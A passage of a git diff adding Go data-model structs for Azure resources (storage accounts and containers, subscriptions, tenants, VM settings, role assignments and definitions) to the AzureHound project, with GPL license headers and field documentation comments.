[]SshPublicKey `json:"publicKeys,omitempty"` +} diff --git a/models/azure/ssh_public_key.go b/models/azure/ssh_public_key.go new file mode 100644 index 0000000..17d8ff2 --- /dev/null +++ b/models/azure/ssh_public_key.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Contains information about SSH certificate public key and the path on the Linux VM where the public key is placed. +type SshPublicKey struct { + // SSH public key certificate used to authenticate with the VM through ssh. + // The key needs to be at least 2048-bit and in ssh-rsa format. + // For creating ssh keys, see [Create SSH keys on Linux and Mac for Linux VMs in Azure](https://docs.microsoft.com/azure/virtual-machines/linux/create-ssh-keys-detailed). + KeyData string `json:"keyData,omitempty"` + + // Specifies the full path on the created VM where ssh public key is stored. + // If the file already exists, the specified key is appended to the file. Example: /home/user/.ssh/authorized_keys + Path string `json:"path,omitempty"` +} diff --git a/models/azure/storage_account.go b/models/azure/storage_account.go new file mode 100644 index 0000000..a422080 --- /dev/null +++ b/models/azure/storage_account.go @@ -0,0 +1,52 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +type StorageAccount struct { + Entity + + ExtendedLocation ExtendedLocation `json:"extendedLocation,omitempty"` + Identity ManagedIdentity `json:"identity,omitempty"` + Kind string `json:"kind,omitempty"` + Location string `json:"location,omitempty"` + Name string `json:"name,omitempty"` + Properties StorageAccountProperties `json:"properties,omitempty"` + Sku Sku `json:"sku,omitempty"` + Tags map[string]string `json:"tags,omitempty"` + Type string `json:"type,omitempty"` +} + +func (s StorageAccount) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s StorageAccount) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/storage_account_primary_endpoints.go b/models/azure/storage_account_primary_endpoints.go new file mode 100644 index 0000000..889f8ec --- /dev/null +++ b/models/azure/storage_account_primary_endpoints.go @@ -0,0 +1,45 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type Endpoints struct { + Blob string `json:"blob,omitempty"` + DFS string `json:"dfs,omitempty"` + File string `json:"file,omitempty"` + InternetEndpoints StorageAccountInternetEndpoints `json:"internetEndpoints,omitempty"` + MicrosoftEndpoints StorageAccountMicrosoftEndpoints `json:"microsoftEndpoints,omitempty"` + Queue string `json:"queue,omitempty"` + Table string `json:"table,omitempty"` + Web string `json:"web,omitempty"` +} + +type StorageAccountInternetEndpoints struct { + Blob string `json:"blob,omitempty"` + DFS string `json:"dfs,omitempty"` + File string `json:"file,omitempty"` + Web string `json:"web,omitempty"` +} + +type StorageAccountMicrosoftEndpoints struct { + Blob string `json:"blob,omitempty"` + DFS string `json:"dfs,omitempty"` + File string `json:"file,omitempty"` + Queue string `json:"queue,omitempty"` + Table string `json:"table,omitempty"` + Web string `json:"web,omitempty"` +} diff --git a/models/azure/storage_account_props.go b/models/azure/storage_account_props.go new file mode 100644 index 0000000..005c071 --- /dev/null +++ b/models/azure/storage_account_props.go @@ -0,0 +1,79 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type StorageAccountProperties struct { + AccessTier enums.StorageAccountAccessTier `json:"accessTier,omitempty"` + AllowBlobPublicAccess bool `json:"allowBlobPublicAccess,omitempty"` + AllowCrossTenantReplication bool `json:"allowCrossTenantReplication,omitempty"` + AllowSharedKeyAccess bool `json:"allowSharedKeyAccess,omitempty"` + AllowedCopyScope enums.AllowedCopyScope `json:"allowedCopyScope,omitempty"` + AzureFilesIdentityBasedAuthentication AzureFilesIdentityBasedAuthentication `json:"azureFilesIdentityBasedAuthentication,omitempty"` + BlobRestoreStatus BlobRestoreStatus `json:"blobRestoreStatus,omitempty"` + CreationTime string `json:"creationTime,omitempty"` + CustomDomain StorageAccountCustomDomain `json:"customDomain,omitempty"` + DefaultToOAuthAuthentication bool `json:"defaultToOAuthAuthentication,omitempty"` + DnsEndpointType enums.DnsEndpointType `json:"dnsEndpointType,omitempty"` + Encryption StorageAccountEncryptionProperties `json:"encryption,omitempty"` + FailoverInProgress bool `json:"failoverInProgress,omitempty"` + GeoReplicationStats GeoReplicationStats `json:"geoReplicationStats,omitempty"` + ImmutableStorageWithVersioning ImmutableStorageAccount `json:"immutableStorageWithVersioning,omitempty"` + IsHnsEnabled bool `json:"isHnsEnabled,omitempty"` + IsLocalUserEnabled bool `json:"isLocalUserEnabled,omitempty"` + IsNfsV3Enabled bool `json:"isNfsV3Enabled,omitempty"` + IsSftpEnabled bool `json:"isSftpEnabled,omitempty"` + KeyCreationTime StorageAccountKeyCreationTime `json:"keyCreationTime,omitempty"` + KeyPolicy StorageAccountKeyPolicy `json:"keyPolicy,omitempty"` + LargeFileSharesState enums.GenericEnabledDisabled `json:"largeFileSharesState,omitempty"` + LastGeoFailoverTime string `json:"lastGeoFailoverTime,omitempty"` + MinimumTlsVersion enums.MinimumTlsVersion `json:"minimumTlsVersion,omitempty"` + NetworkAcls NetworkRuleSet `json:"networkAcls,omitempty"` + PrimaryEndpoints Endpoints `json:"primaryEndpoints,omitempty"` + PrimaryLocation string `json:"primaryLocation,omitempty"` + PrivateEndpointConnections []PrivateEndpointConnection `json:"privateEndpointConnections"` + ProvisioningState enums.ProvisioningState `json:"provisioningState,omitempty"` + PublicNetworkAccess enums.GenericEnabledDisabled `json:"availabilitySet,omitempty"` + RoutingPreference RoutingPreference `json:"routingPreference,omitempty"` + SasPolicy SasPolicy `json:"sasPolicy,omitempty"` + SecondaryEndpoints Endpoints `json:"secondaryEndpoints,omitempty"` + SecondaryLocation string `json:"secondaryLocation,omitempty"` + StatusOfPrimary enums.AccountStatus `json:"statusOfPrimary,omitempty"` + StatusOfSecondary enums.AccountStatus `json:"statusOfSecondary,omitempty"` + StorageAccountSkuConversionStatus StorageAccountSkuConversionStatus `json:"storageAccountSkuConversionStatus,omitempty"` + + SupportsHttpsTrafficOnly bool `json:"supportsHttpsTrafficOnly,omitempty"` +} + +type StorageAccountCustomDomain struct { + Name string `json:"name,omitempty"` + UseSubDomainName bool `json:"useSubDomainName,omitempty"` +} + +type StorageAccountKeyCreationTime struct { + Key1 string `json:"key1,omitempty"` + Key2 string `json:"key2,omitempty"` +} + +type StorageAccountKeyPolicy struct { + KeyExpirationPeriodInDays int `json:"keyExpirationPeriodInDays,omitempty"` +} + +type StorageAccountLargeFileSharesState struct { +} diff --git a/models/azure/storage_account_sku_conversion_status.go b/models/azure/storage_account_sku_conversion_status.go new file mode 100644 index 0000000..5894de5 --- /dev/null +++ b/models/azure/storage_account_sku_conversion_status.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type StorageAccountSkuConversionStatus struct { + EndTime string `json:"endTime,omitempty"` + SkuConversionStatus enums.SkuConversionStatus `json:"skuConversionStatus,omitempty"` + StartTime string `json:"startTime,omitempty"` + TargetSkuName enums.SkuName `json:"targetSkuName,omitempty"` +} diff --git a/models/azure/storage_container.go b/models/azure/storage_container.go new file mode 100644 index 0000000..5a22612 --- /dev/null +++ b/models/azure/storage_container.go @@ -0,0 +1,65 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +type StorageContainer struct { + Entity + + Type string `json:"type,omitempty"` + Name string `json:"name,omitempty"` + Etag string `json:"etag,omitempty"` + Properties StorageContainerProperties `json:"properties,omitempty"` +} + +func (s StorageContainer) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s StorageContainer) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} + +func (s StorageContainer) StorageAccountName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 8 { + return parts[8] + } else { + return "" + } +} + +func (s StorageContainer) StorageAccountId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 9 { + return strings.Join(parts[:9], "/") + } else { + return "" + } +} diff --git a/models/azure/storage_container_legal_hold.go b/models/azure/storage_container_legal_hold.go new file mode 100644 index 0000000..3c59ce3 --- /dev/null +++ b/models/azure/storage_container_legal_hold.go @@ -0,0 +1,37 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type LegalHoldProperties struct { + HasLegalHold bool `json:"hasLegalHold,omitempty"` + ProtectedAppendWritesHistory ProtectedAppendWritesHistory `json:"protectedAppendWritesHistory,omitempty"` + Tags []TagProperty `json:"tags,omitempty"` +} + +type ProtectedAppendWritesHistory struct { + AllowProtectedAppendWritesAll bool `json:"allowProtectedAppendWritesAll,omitempty"` + Timestamp string `json:"timestamp,omitempty"` +} + +type TagProperty struct { + ObjectIdentifier string `json:"objectIdentifier,omitempty"` + Tag string `json:"tag,omitempty"` + TenantId string `json:"tenantId,omitempty"` + Timestamp string `json:"timestamp,omitempty"` + Upn string `json:"upn,omitempty"` +} diff --git a/models/azure/storage_container_props.go b/models/azure/storage_container_props.go new file mode 100644 index 0000000..d22a34a --- /dev/null +++ b/models/azure/storage_container_props.go @@ -0,0 +1,42 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type StorageContainerProperties struct { + DefaultEncryptionScope string `json:"defaultEncryptionScope,omitempty"` + Deleted bool `json:"deleted,omitempty"` + DeletedTime string `json:"deletedTime,omitempty"` + DenyEncryptionScopeOverride bool `json:"denyEncryptionScopeOverride,omitempty"` + EnableNfsV3AllSquash bool `json:"enableNfsV3AllSquash,omitempty"` + EnableNfsV3RootSquash bool `json:"enableNfsV3RootSquash,omitempty"` + HasImmutabilityPolicy bool `json:"hasImmutabilityPolicy,omitempty"` + HasLegalHold bool `json:"hasLegalHold,omitempty"` + ImmutabilityPolicy ImmutabilityPolicy `json:"immutabilityPolicy,omitempty"` + ImmutableStorageWithVersioning ImmutableStorageWithVersioning `json:"immutableStorageWithVersioning,omitempty"` + LastModifiedTime string `json:"lastModifiedTime,omitempty"` + LeaseDuration enums.LeaseDuration `json:"leaseDuration,omitempty"` + LeaseState enums.LeaseState `json:"leaseState,omitempty"` + LeaseStatus enums.LeaseStatus `json:"leaseStatus,omitempty"` + LegalHold LegalHoldProperties `json:"legalHold,omitempty"` + Metadata interface{} `json:"metadata,omitempty"` + PublicAccess enums.PublicAccess `json:"publicAccess,omitempty"` + RemainingRetentionDays int `json:"remainingRetentionDays,omitempty"` + Version string `json:"version,omitempty"` +} diff --git a/models/azure/storage_profile.go b/models/azure/storage_profile.go new file mode 100644 index 0000000..5c9e2a5 --- /dev/null +++ b/models/azure/storage_profile.go @@ -0,0 +1,34 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the storage settings for the virtual machine disks. +type StorageProfile struct { + // Specifies the parameters that are used to add a data disk to a virtual machine. + // For more information about disks, see About disks and VHDs for Azure virtual machines. + DataDisks []DataDisk `json:"dataDisks,omitempty"` + + // Specifies information about the image to use. You can specify information about platform images, marketplace + // images, or virtual machine images. This element is required when you want to use a platform image, marketplace + // image, or virtual machine image, but is not used in other creation operations. + ImageReference ImageReference `json:"imageReference,omitempty"` + + // Specifies information about the operating system disk used by the virtual machine. + // For more information about disks, see About disks and VHDs for Azure virtual machines. + OSDisk OSDisk `json:"osDisk,omitempty"` +} diff --git a/models/azure/sub_resource.go b/models/azure/sub_resource.go new file mode 100644 index 0000000..37e5041 --- /dev/null +++ b/models/azure/sub_resource.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type SubResource struct { + // The resource ID. + Id string `json:"id,omitempty"` +} diff --git a/models/azure/subscription.go b/models/azure/subscription.go new file mode 100644 index 0000000..b7f32c0 --- /dev/null +++ b/models/azure/subscription.go @@ -0,0 +1,51 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +type Subscription struct { + Entity + + // The authorization source of the request. Valid values are one or more combinations of Legacy, RoleBased, + // Bypassed, Direct and Management. For example, 'Legacy, RoleBased'. + AuthorizationSource string `json:"authorizationSource,omitempty"` + + // The subscription display name. + DisplayName string `json:"displayName,omitempty"` + + // A list of tenants managing the subscription. + ManagedByTenants []ManagedByTenant `json:"managedByTenants,omitempty"` + + // The subscription state. + State enums.SubscriptionState `json:"state,omitempty"` + + // The subscription ID. + SubscriptionId string `json:"subscriptionId,omitempty"` + + // The subscription policies. + SubscriptionPolicies SubscriptionPolicies `json:"subscriptionPolicies,omitempty"` + + // The tags attached to the subscription. + Tags map[string]string `json:"tags,omitempty"` + + // The subscription tenant ID. + TenantId string `json:"tenantId,omitempty"` +} diff --git a/models/azure/subscription_policies.go b/models/azure/subscription_policies.go new file mode 100644 index 0000000..dec658f --- /dev/null +++ b/models/azure/subscription_policies.go @@ -0,0 +1,33 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +// Subscription Policies +type SubscriptionPolicies struct { + // The subscription location placement ID. The ID indicates which regions are visible for a subscription. + // For example, a subscription with a location placement Id of Public_2014-09-01 has access to Azure public regions. + LocationPlacementId string `json:"locationPlacementId,omitempty"` + + // The subscription quota ID. + QuotaId string `json:"quotaId,omitempty"` + + // The subscription spending limit. + SpendingLimit enums.SpendingLimit `json:"spendingLimit,omitempty"` +} diff --git a/models/azure/tenant.go b/models/azure/tenant.go new file mode 100644 index 0000000..727e0c5 --- /dev/null +++ b/models/azure/tenant.go @@ -0,0 +1,38 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type Tenant struct { + Country string `json:"country,omitempty"` // Country/region name of the address for the tenant. + CountryCode string `json:"countryCode,omitempty"` // Country/region abbreviation for the tenant. + DefaultDomain string `json:"defaultDomain,omitempty"` // The default domain for the tenant. + DisplayName string `json:"displayName,omitempty"` // The display name of the tenant. + Domains []string `json:"domains,omitempty"` // The list of domains for the tenant + Id string `json:"id,omitempty"` // The fully qualified ID of the tenant. E.g. "/tenants/00000000-0000-0000-0000-000000000000" + TenantBrandingLogoUrl string `json:"tenantBrandingLogoUrl,omitempty"` // The tenant's branding logo URL. Only available for 'Home' TenantCategory + TenantCategory enums.TenantCategory `json:"tenantCategory,omitempty"` // The category of the tenant. + TenantId string `json:"tenantId,omitempty"` // Then tenant ID. E.g. "00000000-0000-0000-0000-000000000000" + TenantType string `json:"tenantType,omitempty"` // The tenant type. Only available for 'Home' TenantCategory +} + +type TenantList struct { + NextLink string `json:"nextLink,omitempty"` // The URL to use for getting the next set of values. + Value []Tenant `json:"value"` // A list of tenants. +} diff --git a/models/azure/terminate_notification_profile.go b/models/azure/terminate_notification_profile.go new file mode 100644 index 0000000..900d4b1 --- /dev/null +++ b/models/azure/terminate_notification_profile.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type TerminateNotificationProfile struct { + // Specifies whether the Terminate Scheduled event is enabled or disabled. + Enable bool `json:"enable,omitempty"` + + // Configurable length of time a Virtual Machine being deleted will have to potentially approve the + // Terminate Scheduled Event before the event is auto approved (timed out). + // The configuration must be specified in ISO 8601 format, the default value is 5 minutes (PT5M) + NotBeforeTimeout string `json:"notBeforeTimeout,omitempty"` +} diff --git a/models/azure/timezone_base.go b/models/azure/timezone_base.go new file mode 100644 index 0000000..69019ef --- /dev/null +++ b/models/azure/timezone_base.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type TimeZoneBase struct { + // The name of the time zone. + Name string `json:"name,omitempty"` +} diff --git a/models/azure/uefi_settings.go b/models/azure/uefi_settings.go new file mode 100644 index 0000000..6d00da0 --- /dev/null +++ b/models/azure/uefi_settings.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the security settings like secure boot and vTPM used while creating the virtual machine. +// Minimum api-version: 2020-12-01 +type UefiSettings struct { + // Specifies whether secure boot should be enabled on the virtual machine. + SecureBootEnabled bool `json:"secureBootEnabled,omitempty"` + + // Specifies whether vTPM should be enabled on the virtual machine. + VTpmEnabled bool `json:"vTpmEnabled,omitempty"` +} diff --git a/models/azure/unified_role_assignment.go b/models/azure/unified_role_assignment.go new file mode 100644 index 0000000..fc60a5f --- /dev/null +++ b/models/azure/unified_role_assignment.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "encoding/json" + +type UnifiedRoleAssignment struct { + Entity + + // Identifier of the role definition the assignment is for. + // Read only. + // Supports $filer (eq, in). + RoleDefinitionId string `json:"roleDefinitionId,omitempty"` + + // Identifier of the principal to which the assignment is granted. + // Supports $filter (eq, in). + PrincipalId string `json:"principalId,omitempty"` + + // Identifier of the directory object representing the scope of the assignment. + // Either this property or appScopeId is required. + // The scope of an assignment determines the set of resources for which the principal has been granted access. + // Directory scopes are shared scopes stored in the directory that are understood by multiple applications. + // + // Use / for tenant-wide scope. + // Use appScopeId to limit the scope to an application only. + // + // Supports $filter (eq, in). + DirectoryScopeId string `json:"directoryScopeId,omitempty"` + + // Identifier of the resource representing the scope of the assignment. + ResourceScope string `json:"resourceScope,omitempty"` + + // Identifier of the app-specific scope when the assignment scope is app-specific. + // Either this property or directoryScopeId is required. + // App scopes are scopes that are defined and understood by this application only. + // + // Use / for tenant-wide app scopes. + // Use directoryScopeId to limit the scope to particular directory objects, for example, administrative units. + // + // Supports $filter (eq, in). + AppScopeId string `json:"appScopeId,omitempty"` + + // Referencing the assigned principal. + // Read-only. + // Supports $expand. + Principal json.RawMessage `json:"principal,omitempty"` + + // The roleDefinition the assignment is for. + // Supports $expand. roleDefinition.Id will be auto expanded. + RoleDefinition UnifiedRoleDefinition `json:"roleDefinition,omitempty"` + + // The directory object that is the scope of the assignment. + // Read-only. + // Supports $expand. + DirectoryScope Application `json:"directoryScope,omitempty"` + + // Read-only property with details of the app specific scope when the assignment scope is app specific. + // Containment entity. + // Supports $expand. + AppScope AppScope `json:"appScope,omitempty"` +} diff --git a/models/azure/unified_role_definition.go b/models/azure/unified_role_definition.go new file mode 100644 index 0000000..1f12ec4 --- /dev/null +++ b/models/azure/unified_role_definition.go @@ -0,0 +1,62 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type UnifiedRoleDefinition struct { + Entity + + // The description for the unifiedRoleDefinition. + // Read-only when isBuiltIn is true. + Description string `json:"description,omitempty"` + + // The display name for the unifiedRoleDefinition. + // Read-only when isBuiltIn is true. + // Required. + // Supports $filter (eq, in). + DisplayName string `json:"displayName,omitempty"` + + // Flag indicating whether the role definition is part of the default set included in + // Azure Active Directory (Azure AD) or a custom definition. + // Read-only. + // Supports $filter (eq, in). + IsBuiltIn bool `json:"isBuiltIn,omitempty"` + + // Flag indicating whether the role is enabled for assignment. + // If false the role is not available for assignment. + // Read-only when isBuiltIn is true. + IsEnabled bool `json:"isEnabled,omitempty"` + + // List of the scopes or permissions the role definition applies to. + // Currently only / is supported. + // Read-only when isBuiltIn is true. + // DO NOT USE. This will be deprecated soon. Attach scope to role assignment. + ResourceScopes []string `json:"resourceScopes,omitempty"` + + // List of permissions included in the role. + // Read-only when isBuiltIn is true. + // Required. + RolePermisions []UnifiedRolePermission `json:"rolePermisions,omitempty"` + + // Custom template identifier that can be set when isBuiltIn is false but is read-only when isBuiltIn is true. + // This identifier is typically used if one needs an identifier to be the same across different directories. + TemplateId string `json:"templateId,omitempty"` + + // Indicates version of the role definition. + // Read-only when isBuiltIn is true. + Version string `json:"version,omitempty"` +} diff --git a/models/azure/unified_role_permission.go b/models/azure/unified_role_permission.go new file mode 100644 index 0000000..c60b1e9 --- /dev/null +++ b/models/azure/unified_role_permission.go @@ -0,0 +1,71 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents a collection of allowed resource actions and the conditions that must be met for the action to be allowed. +// Resource actions are tasks that can be performed on a resource. For example, an application resource may support +// create, update, delete, and reset password actions. +type UnifiedRolePermission struct { + // Set of tasks that can be performed on a resource. + // Required. + // + // The following is the schema for resource actions: + // /// + // + // For example: microsoft.directory/applications/credentials/update. + // + // * Namespace - The services that exposes the task. For example, all tasks in Azure Active Directory use the namespace microsoft.directory. + // * Entity - The logical features or components exposed by the service in Microsoft Graph. For example, applications, servicePrincipals, or groups. + // * PropertySet - The specific properties or aspects of the entity for which access is being granted. For example, microsoft.directory/applications/authentication/read grants the ability to read the reply URL, logout URL, and implicit flow property on the application object in Azure AD. The following are reserved names for common property sets: + // * allProperties - Designates all properties of the entity, including privileged properties. Examples include microsoft.directory/applications/allProperties/read and microsoft.directory/applications/allProperties/update. + // * basic - Designates common read properties but excludes privileged ones. For example, microsoft.directory/applications/basic/update includes the ability to update standard properties like display name. + // * standard - Designates common update properties but excludes privileged ones. For example, microsoft.directory/applications/standard/read. + // * Actions - The operations being granted. In most circumstances, permissions should be expressed in terms of CRUD or allTasks. Actions include: + // * Create - The ability to create a new instance 